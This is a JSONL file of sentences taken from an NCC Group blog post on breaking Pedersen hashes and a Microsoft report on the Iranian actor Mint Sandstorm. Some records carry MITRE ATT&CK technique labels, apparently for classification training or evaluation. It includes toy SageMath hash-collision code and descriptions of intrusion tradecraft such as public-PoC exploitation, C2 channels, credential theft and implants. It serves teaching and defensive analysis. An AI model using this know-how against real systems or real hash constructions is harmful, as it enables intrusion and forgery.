{"sentence": "However, even though the security of the Pedersen hash function is well-understood (since it relies on the assumed hardness of the discrete logarithm problem), a few easily-overlooked subtleties in its definition have the potential to invalidate its security guarantees and thus completely break the security of the systems based on it.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We then show how some of the security properties can be broken when the requirements are not met.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The definition and the different attacks are accompanied by a toy example to illustrate the various concepts more concretely.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The Pedersen hash is defined as the linear combination of the points with the encoding of the message chunks: H(M) = H(M1M2 … Mk )", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "= ⟨M1⟩ ⋅", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "G1 + ⟨M2⟩ ⋅ G2 + … + ⟨Mk⟩", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In practice, the desired output may be a field element, in which case a single coordinate of the resulting point is often used as the hash.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Toy Example:", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Pedersen Hash DefinitionWe illustrate the Pedersen Hash function and its security properties and requirements using a toy example, with accompanying code in SageMath.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We select the elliptic curve defined by the curve equation y2 = x3 + x + 42, defined over the finite field of size 127.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The group of points on this curve has order 139, which is prime.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Our toy hash function computes the Pedersen hash as followsH(M) = H(M1 M2) = ⟨M1⟩ ⋠G1 +", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "⟨M2⟩ ⋠G2Initially, we restrict our message length to be 12 bits, such that the individual message chunks M1 and M2 are 6 bits each.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Additionally, we need to select an encoding function, mapping 6-bit chunks into a scalar.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "As a first attempt, let us simply interpret the 6-bit value as an integer encoded in little-endian bits, resulting in an integer in the range {0, 63}.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# First we pick an elliptic curve with prime order: F = GF(127) E = EllipticCurve(F, [F(1), F(42)]) assert E.order().is_prime() print(f\"{E} with order {E.order()}\") # Elliptic Curve defined by y^2 = x^3", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "139 # We pick two generators.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "As the curve has prime order, all non-identity points # are generators G1 = E(1, 60) G2 = E(2, 59)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "== len(encoded_chunks), \"Incompatible lengths\" res = E(0) for chunk, generator in zip(encoded_chunks, generators): res += chunk * generator return res def PedersenHash(message, encode_function=IdentityEncode, generators=GENERATORS): \"\"\" Computes the Pedersen hash of a message Input: a message Output: the Pedersen Hash of the message Optional: encode_function: the encoding function to break a message into integers generators: elements G ∈ E which generate E \"\"\" encoded_message = EncodeMessage(message, encode_function) return GenericPedersenHash(generators, encoded_message) Using the above, the code then showcases how the message [\"010101\", \"000111\"] is hashed, resulting in the point (3, 31).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# ============================ # # Example of Pedersen Hash # # ============================ # message =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[\"010101\", \"000111\"]", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# M =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[42, 56] H = PedersenHash(message) print(f\"Hash of {message} = {H}\")", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# Hash of ['010101', '000111'] = (3 : 31 : 1) #", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We check that the Pedersen hash of the message is equivalent to computing # the linear combination of the generator points and the integers representations # of the message chunks assert H == 42 * G1", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "+ 56 * G2 Security Properties and Requirements The Pedersen Hash function is collision-resistant for fixed-length input, provided the underlying encoding function is injective.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The first caveat is that the hash function is not collision-resistant for variable-length inputs.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "It is also distinguishable from a random oracle and as such this function should not be used as a pseudorandom function (PRF).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "A second important aspect is that in order for this hash function to provide the desired security properties (namely, collision-resistance), it is necessary for the underlying encoding function to be injective.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Recall that the property of an injective function is that it maps distinct elements of its domain to distinct elements of its codomain.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In the context of the encoding function ⟨⋅⟩, this means that there are no two different message chunks Mi and Mj that result in the same encoded output, see the illustration below.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The encoding function maps bit strings to scalars.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In the toy example above, we have seen an example of a simple encoding function where the bit strings were interpreted in little-endian as integers and therefore was clearly injective (within the parameters of our example).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "But even with the simple encoding function used in the toy example, care should be taken to ensure that the allowed size of the message we hash is bounded.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Indeed, if we allowed larger bit strings to be hashed (such that their encoding is larger than the subgroup order), it would be easy for an attacker to compute collisions.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "This is because for any point in the subgroup, multiplication by the subgroup order, call it r, yields the point-at-infinity; that is r ⋅ G = 0.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Thus, multiplying the point G by a scalar a produces the same result as multiplying G by a + k ⋅ r, for any value of k, since (a + k ⋅ r) ⋅ G = a ⋅ G + k ⋅ r ⋅ G = a ⋅ G + k ⋅ 0 = a ⋅ G The example below illustrates how hashing messages larger than the expected size may lead to collisions.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Toy Example: Collisions Since the subgroup order is 139, adding this quantity (or multiples of it) to the scalar factors of the linear combination performed by the Pedersen hash function results in the same hash output.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Notice that the colliding message chunks are larger than 6 bits, further demonstrating that the function is not collision-resistant for variable-length inputs.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "H2 = (42 + 139) *", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "G1 + (56 + 2 * 139)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "* G2 assert H == H2 colliding_message =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[\"10101101\", \"011100101\"] # Ensures encoding colliding_message results in the integers # used explicitly above assert EncodeMessage(colliding_message, IdentityEncode)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Indeed, when using a Weierstrass curve with affine coordinates, the negation of a point P = (x, y) is -P = (x, -y).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Thus, when computing the Pedersen hash and taking only the first coordinate as a result, there is a natural collision, namely the negation of the point.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "It is important to ensure that the encoding process followed by the scalar multiplication cannot produce two points that have the same coordinate extracted as output.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Specifically, the discrete logarithm of any generator with respect to another one should not be known, not even to the protocol designers.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Implementers traditionally use hash-to-curve algorithms (a process which does not reveal the discrete logarithm of the output point) and nothing-up-my-sleeve numbers, to prove that the inputs to the hash-to-curve process were selected honestly.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Optimizations In practice, implementations typically use slightly more complex procedures to encode bit strings to scalar.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In doing so, they are able to compute point multiplications in a more efficient way, though special care needs to be taken to ensure the resulting encoding function is injective, as discussed in the previous section.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The simple Pedersen Hash function presented so far can be significantly sped up in the specific contexts used by zero-knowledge proof systems.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Since the generators are fixed (and known ahead of time), a method called windowed scalar multiplication can be used to more efficiently perform the multiplication by pre-computing and storing successive powers of the generators.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "For example, assume our scalar is a 6-bit value b = b0b1b2b3b4b5, and we wish to compute the scalar multiplication b ⋅", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "G. We have b ⋅ G = b0 ⋅ G + 2b1 ⋅ G + 22b2 ⋅ G + 23b3 ⋅ G + 24b4 ⋅ G + 25b5 ⋅ G= (b0 + 2b1 + 22b2) ⋅ G + 23 (b3 + 2b4 + 22b5)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "⋅ G Since the quantities in the parentheses can take any value in the {0, 7} range, one can precompute the eight values in the set {0, G, 2 ⋅ G, 3 ⋅ G, …, 7 ⋅ G} and perform a variant of a double-and-add algorithm, where at each step the doubling operation is repeated 3 times, and the adding operation involves adding one element from the pre-computed set.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Pushing the optimizations even further, the Zcash team decided to use a signed version of the windowed-multiplication method.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The encoding function ⟨⋅⟩ defined in the Zcash protocol maps element binary strings of fixed length 3 ⋅ c to a scalar as follows: where in turn, the enc() function maps 3-bit chunks m", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "= b0 b1 b2 into elements of the range {-4, …, 4} {0} as This choice of using a signed-digit windowed-multiplication method reduces the number of constraints necessary in the arithmetic circuit (since the lookup of the negation of a point can be performed efficiently as negating a point only requires a single constraint).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "As discussed above, the security of Pedersen hash is guaranteed provided the encoding scheme is injective.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Using such a signed representation introduces a few subtleties that should be kept in check in order to ensure the collision-resistance of the hash function.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "on page 78 of the protocol specifications, see [Zcash]) that the encoding function is indeed injective and thus provides the desired collision-resistance.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "They did so by showing that the range of the encoding function ⟨⋅⟩ was a subset of the range , with the group order.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "They also ensured that the coordinate extraction procedure couldn’t lead to the issue described above where both a point and its negation could be obtained as the output of the hash procedure, which could be problematic when using the first-coordinate as the hash output.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "This is described in Section 5.4.9.4 of the Zcash protocol specification [Zcash], where Lemma 5.4.7 shows that if a given point P = (u, v) is on the curve, then (u, -v) is not on the curve, thereby preventing the potential issue outlined.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Note the importance of restricting 0 in the output range of the encoding function.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "If the zero scalar could be obtained, the result of the scalar multiplication would be the point-at-infinity, which could lead to unexpected issues when trying to use that result.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Now that we have a better understanding of the Pedersen hash and its security, let’s look at some of the attacks that apply if one were to overlook some of the requirements described so far.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Vulnerability 1: Non-unique x-coordinate In this first vulnerability example, we show how implementations blindly using the x-coordinate of the hash output could lead to collisions.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Instead of using our toy “identity” encoding, we employ Zcash’s signed-digit encoding, which maps bit strings to a range of positive and negative integers centred around 0.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Recall that on a curve in Weierstrass form, the negation of a point P = (x, y) is -P = (x, -y).", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Considering only the x-coordinate, a collision in the hash function output occurs when two messages result in the pair of points only differing in sign.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "G1 – ⟨M2⟩ ⋅ G2 Hence, to compute a collision for a message M, we have to find the message M′ such that the encoding of the chunks of M′ correspond to the negation of the respective encoded chunks of M, namely ⟨M1′⟩ = −⟨M1⟩ and ⟨M2′⟩ = −⟨M2⟩. This is straightforward to perform when using Zcash’s encoding scheme, since the third bit of every 3-bit window encoded by the enc() function determines the sign of the output.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Hence, given a message hash H(M), the message M’ crafted by flipping every third bit of M produces a hash output equal to the negation of H(M), which coincide in their x-coordinate.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The code snippet below illustrates this.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# ========================================== # # Vulnerability 1 - Non-unique x-coordinate # # ========================================== # H = ZcashPedersenHash(message) print(f\"Zcash's Hash of {message} = {H}\") # Zcash's Hash of ['010101', '000111'] = (83 : 83 : 1) colliding_message = [\"011100\", \"001110\"] H2 = ZcashPedersenHash(colliding_message) assert H[0] == H2[0] assert message !", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "It is important to repeat that Zcash’s implementation is not susceptible to this issue due to their curve and coordinate choice.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Using our toy example, let’s see how an adversary could break the collision-resistance of the hash function if they knew the discrete logarithm of one of the generators with respect to the other one.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We know the discrete logarithm of G2 with respect to G1 assert 35 * G1 == G2 message =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[42, 56] encoded_message = EncodeMessage(message, ZcashEncode) print(f\"Encoded Message: {encoded_message}\") # Encoded Message:", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Thus, in order to find a collision, we can simply work in the scalar field and find a solution to the equation ⟨M1⟩", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "+ 35 ⋅ ⟨M2⟩ ≡ 129 mod 139.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "One can see the previous equation holds for ⟨M1⟩ = 17 and ⟨M2⟩ = 31.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Since Zcash’s encoding is injective, one can decode these values and obtain M1 = \"000000\", M2 = \"001100\", which collides with the original message, as shown below.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# We need to find a message M' = M1' || M2' such that # <M1'>", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "+ 35*<M2'> = (-29 -35*63 ) = 129 mod 139 H2 = GenericPedersenHash(GENERATORS, [17, 31]) assert H == H2 H3 = ZcashPedersenHash([\"000000\", \"001100\"]) assert H == H3", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "This shows how important it is that the generators be sampled in such a way that no ones knows the discrete logarithm of one with respect to the other one, not even the hash function designers.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "One reason why allowing inputs of different sizes to be hashed may result in collisions is that padding is applied to the inputs prior to encoding them.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Pad to a multiple of 3 bits by appending zero bits, giving ′.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "But this padding step may also be implicit, such as when using the “identity” encoding and hashing messages of unexpected lengths.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In that case, the missing or superfluous bits would simply be interpreted as zeros.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "We illustrate the issue with our toy example.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "In the following code snippet, we see how we can craft a message colliding with msg by trimming or appending zero bits at the end of the message.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[\"010101\", \"111000\"] colliding_message =", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[message[0] + \"000\", message[1][:3]] print(f\"Colliding Message: {colliding_message}\")", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "# Colliding Message:", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "['010101000', '111'] assert PedersenHash(colliding_message) == PedersenHash(message)", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Conclusion While the Pedersen hash function has many desirable advantages due to its simplicity, efficiency in arithmetic circuits, and the known security assumption it relies on, it is also susceptible to many pitfalls.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Specifically, implementations adapting the Zcash approach but on different curves or with different encoding schemes may result in fragile constructions vulnerable to subtle issues, as illustrated in this blog post.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "The source code is located at https://github.com/ncc-pbottine/ToyPedersenHash/. Acknowledgements The author would like to thank Kevin Henry, Aleksandar Kircanski and Giacomo Pope of NCC Group’s Cryptography Services team for their diligent review of this post and Daniele Di Benedetto from Horizen Labs for having drawn our attention to some of the interesting problems described in this blog post.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "All remaining inaccuracies are the sole responsibility of the author.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "References [Zcash]: Daira Hopwood, Sean Bowe, Taylor Hornby, Nathan Wilcox.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Zcash Protocol Specification Version 2022.3.8", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[NU5].", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "URL: https://zips.z.cash/protocol/protocol.pdf.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[CHP91]: David Chaum, Eugène van Heijst, and Birgit Pfitzmann.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "URL: https://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.34.8570.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[Ped91]: Pedersen, T.P. Non-Interactive and Information-Theoretic Secure Verifiable Secret Sharing. 1991.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "URL:", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "https://doi.org/10.1007/3-540-46766-1_9", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "Specifically, this subset has rapidly weaponized N-day vulnerabilities in common enterprise applications and conducted highly-targeted phishing campaigns to quickly and successfully access environments of interest.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This new name is part of the new threat actor naming taxonomy we announced today, designed to keep pace with the evolving and growing threat landscape.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Activity Microsoft tracks as part of the larger Mint Sandstorm group overlaps with public reporting on groups known as APT35, APT42, Charming Kitten, and TA453.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Microsoft assesses that Mint Sandstorm is associated with an intelligence arm of Iran’s military, the Islamic Revolutionary Guard Corps (IRGC), an assessment that has been corroborated by multiple credible sources including Mandiant, Proofpoint, and SecureWorks.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In 2022, the US Department of Treasury sanctioned elements of Mint Sandstorm for past cyberattacks citing sponsorship from the IRGC.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This Mint Sandstorm subgroup is technically and operationally mature, capable of developing bespoke tooling and quickly weaponizing N-day vulnerabilities, and has demonstrated agility in its operational focus, which appears to align with Iran’s national priorities.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Microsoft Threat Intelligence consistently tracks threat actor activity, including Mint Sandstorm and its subgroups, and works across Microsoft Security products and services to build detections into our products that improve protection for customers.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Microsoft is sharing details on these operations to raise awareness on the risks associated with their activity and to empower organizations to harden their attack surfaces against tradecraft commonly used by this Mint Sandstorm subgroup.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Recent operations From late 2021 to mid-2022, this Mint Sandstorm subgroup moved from reconnaissance to direct targeting of US critical infrastructure including seaports, energy companies, transit systems, and a major US utility and gas entity potentially in support of retaliatory destructive cyberattacks.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This targeting was likely in response to Iran’s attribution of cyberattacks that halted maritime traffic at a major Iranian seaport in May 2020, delayed Iranian trains in July 2021, and crashed gas station payment systems throughout Iran in late 2021.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Of note, a senior cybersecurity-focused IRGC official and others close to the Iranian Supreme Leader pinned the attack affecting gas station payment systems on Israel and the United States.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This targeting also coincided with a broader increase in the pace and the scope of cyberattacks attributed to Iranian threat actors, including another Mint Sandstorm subgroup, that Microsoft observed beginning in September 2021.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The increased aggression of Iranian threat actors appeared to correlate with other moves by the Iranian regime under a new national security apparatus, suggesting such groups are less bounded in their operations.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Given the hardline consensus among policymakers in Tehran and sanctions previously levied on Iran’s security organizations, Mint Sandstorm subgroups may be less constrained in carrying out malicious cyber activity.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Rapid adoption of publicly disclosed POCs for initial access and persistence Microsoft has increasingly observed this Mint Sandstorm subgroup adopting publicly disclosed proof-of-concept (POC) code shortly after it is released to exploit vulnerabilities in internet-facing applications.", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Until 2023, this subgroup had been slow to adopt exploits for recently-disclosed vulnerabilities with publicly reported POCs, often taking several weeks to successfully weaponize exploits for vulnerabilities like Proxyshell and Log4Shell.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "However, beginning in early 2023, Microsoft observed a notable decrease in the time required for this subgroup to adopt and incorporate public POCs.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "They later exploited CVE-2022-47986 in Aspera Faspex within five days of the POC being made public on February 2, 2023.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "While this subgroup has demonstrated their ability to rapidly incorporate new public POCs into their playbooks, Microsoft has also observed that Mint Sandstorm continues to use older vulnerabilities, especially Log4Shell, to compromise unpatched devices.", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "After gaining initial access to an organization by exploiting a vulnerability with a public POC, this Mint Sandstorm subgroup deploys a custom PowerShell script designed for discovery.", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In some cases, the subgroup does not act on the information they collect, possibly because they assess that a victim does not meet any targeting requirements or because the subgroup wishes to wait and focus on more valuable targets.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In cases where Mint Sandstorm operators continue their pursuit of a given target, Microsoft typically observes one of two possible attack chains.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In this attack chain, the subgroup uses an SSH tunnel for command and control (C2), and the final objective in many cases is theft of the Active Directory database.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "If obtained, the Mint Sandstorm subgroup can use the Active Directory database to access credentials for users’ accounts.", "labels": ["T1078"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In cases where users’ credentials are accessed and the target organization has not reset corresponding passwords, the actors can log in with stolen credentials and masquerade as legitimate users, possibly without attracting attention from defenders.", "labels": ["T1078"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The actors could also gain access to other systems where individuals may have reused their passwords.", "labels": ["T1078"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "However, in this progression, the operators use webhook.site for C2 and create scheduled tasks for persistence.", "labels": ["T1053.005"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "These custom malware variants signal an increase in the subgroup’s level of sophistication, as they shift from using publicly available tools and simple scripts to deploying fully custom developed malicious code.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Since 2022,Microsoft has observed this Mint Sandstorm subgroup using two custom implants, detected by Microsoft security products as Drokbk and Soldier, to persist in target environments and deploy additional tools.", "labels": ["T1105"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Drobkbk and Soldier both use Mint Sandstorm-controlled GitHub repositories to host a domain rotator containing the operators’ C2 domains.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This allows Mint Sandstorm to dynamically update their C2 infrastructure, which may help the operators stay a step ahead of defenders using list-based domain blocking.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Drokbk: Drokbk.exe is a custom .NET implant with two components: an installer, sometimes accessed from a compressed archive on a legitimate file-sharing platform, and a secondary backdoor payload.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Soldier: Soldier is a multistage .NET backdoor with the ability to download and run additional tools and uninstall itself.", "labels": ["T1105"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Like Drokbk, Soldier C2 infrastructure is stored on a domain rotator on a GitHub repository operated by Mint Sandstorm.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "In certain cases, this Mint Sandstorm subgroup has used TTPs outside of these attack chains, notably when they have failed to achieve short-term objectives.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "However, in most cases, Mint Sandstorm activity displays one of the above discussed attack chains.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Recipients are typically individuals affiliated with high-profile think tanks or universities in Israel, North America, or Europe with ties to the security and policy communities.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Unlike their initial exploitation of vulnerable internet-facing applications, which is largely indiscriminate and affects organizations across sectors and geographies, activity associated with this campaign was highly targeted and affected fewer than 10 organizations..", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "The initial emails are most commonly lures designed to social engineer recipients into clicking a OneDrive link hosting a PDF spoofed to resemble information on a topic involving security or policy in the Middle East.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "Template injection is an attractive option for adversaries looking to execute malicious code without drawing scrutiny from defenders.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
{"sentence": "This technique can also be used to persist in a compromised environment if an adversary replaces a default template used by a common application.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"}
